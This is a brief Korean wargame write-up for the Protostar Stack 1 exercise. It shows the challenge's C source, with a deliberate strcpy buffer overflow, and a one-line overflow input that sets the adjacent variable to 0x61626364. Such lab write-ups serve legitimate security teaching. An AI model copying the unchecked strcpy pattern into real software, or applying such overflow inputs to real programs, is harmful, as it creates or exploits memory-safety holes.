-
Protostar - Stack 1Wargame/Exploit-Exercises 2014. 5. 15. 14:26
1. 문제 Source
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
2. 풀이
user@protostar:/opt/protostar/bin$ ./stack1 `python -c "print 'A'*64 + 'dcba'"` you have correctly got the variable to the right value
'Wargame > Exploit-Exercises' 카테고리의 다른 글
Protostar - Stack 4 (0) 2014.05.15 Protostar - Stack 3 (0) 2014.05.15 Protostar - Stack 2 (0) 2014.05.15 Protostar - Stack 0 (0) 2014.05.14 Protostar 시작 (0) 2014.05.14